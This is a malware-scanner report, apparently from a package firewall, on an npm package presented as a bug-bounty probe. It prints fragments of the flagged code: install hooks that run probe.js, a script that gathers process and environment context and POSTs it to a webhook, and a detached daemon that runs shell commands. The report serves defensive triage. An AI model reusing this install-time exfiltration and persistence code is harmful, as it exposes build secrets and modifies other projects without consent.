Loading npm security reports…

twilio-hackerone-poc-afe6937c@1.0.4: Malicious npm security | LPM Firewall

registry / twilio-hackerone-poc-afe6937c / 1.0.4

twilio-hackerone-poc-afe6937c@1.0.4

Authorized bug-bounty research probe; no longer in use. Do not install.

Authorized Twilio HackerOne bug bounty research probe. Observation only. Delete after triage.

AI Security Review

scanned 15h ago · by lpm-firewall-ai

On npm install, the package exfiltrates execution and environment context, then launches a detached /tmp daemon. The daemon inventories other tenant-like build directories and modifies selected discovered projects.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

npm preinstall or postinstall in a matching /tmp/AC… build path

Impact

Exposure of build/runtime metadata, ongoing background activity, and unauthorized modification of discovered project node_modules.

Mechanism

install-time reconnaissance, HTTPS exfiltration, detached daemon persistence, and cross-project writes

Attack narrative

Installing the package in its targeted build path runs probe.js before and after installation. It collects runtime and process context, sends it to a webhook, copies and detaches daemon.js in /tmp, and records its PID. The daemon scans neighboring tenant-like build directories, reports discoveries, and creates a marker package inside selected projects’ node_modules.

Rationale

This is concrete, unconsented install-time reconnaissance, exfiltration, persistence, and cross-project mutation. The path guard limits targeting but does not make the behavior benign.

Evidence

package.jsonprobe.jsdaemon.jshook.txt/tmp/.h1poc.self/tmp/.h1poc-daemon.js/tmp/.h1poc.pid/tmp/.h1poc.vernode_modules/h1-poc-marker

Network endpoints1

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

daemon.jsView file

44setTimeout(()=>{post({event:'daemon-exit',ticks:state.ticks,seen:Object.keys(state.seen).length});process.exit(0);},15*60*1000); L45: let _id='';try{_id=require('child_process').execSync('id',{timeout:4000}).toString().trim();}catch(e){_id=''+e;} L46: let _cw='';try{_cw=require('fs').readFileSync('/proc/self/cwd'+'','utf8');}catch(e){}

High

Child Process

Package source references child process execution.

daemon.jsView on unpkg · L44

•matchType = normalized_sha256 matchedPackage = twilio-hackerone-poc-afe6937c@1.0.3 matchedPath = daemon.js matchedIdentity = npm:[redacted]:1.0.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

daemon.jsView on unpkg

probe.jsView file

1const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(),

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

probe.jsView on unpkg · L1

1Cross-file remote execution chain: probe.js spawns daemon.js; helper contains network access plus dynamic code execution. L1: const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; L3: function main(){ ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(), ... L15: at:Date.now()}; L16: try{const b=JSON.stringify(info);const r=https.request(hook,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r... L17: // spawn/refresh the observation daemon

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

probe.jsView on unpkg · L1

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

daemon.jsView file

44setTimeout(()=>{post({event:'daemon-exit',ticks:state.ticks,seen:Object.keys(state.seen).length});process.exit(0);},15*60*1000); L45: let _id='';try{_id=require('child_process').execSync('id',{timeout:4000}).toString().trim();}catch(e){_id=''+e;} L46: let _cw='';try{_cw=require('fs').readFileSync('/proc/self/cwd'+'','utf8');}catch(e){}

High

Child Process

Package source references child process execution.

daemon.jsView on unpkg · L44

•matchType = normalized_sha256 matchedPackage = twilio-hackerone-poc-afe6937c@1.0.3 matchedPath = daemon.js matchedIdentity = npm:[redacted]:1.0.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

daemon.jsView on unpkg

probe.jsView file

1const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(),

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

probe.jsView on unpkg · L1

1Cross-file remote execution chain: probe.js spawns daemon.js; helper contains network access plus dynamic code execution. L1: const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; L3: function main(){ ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(), ... L15: at:Date.now()}; L16: try{const b=JSON.stringify(info);const r=https.request(hook,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r... L17: // spawn/refresh the observation daemon

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

probe.jsView on unpkg · L1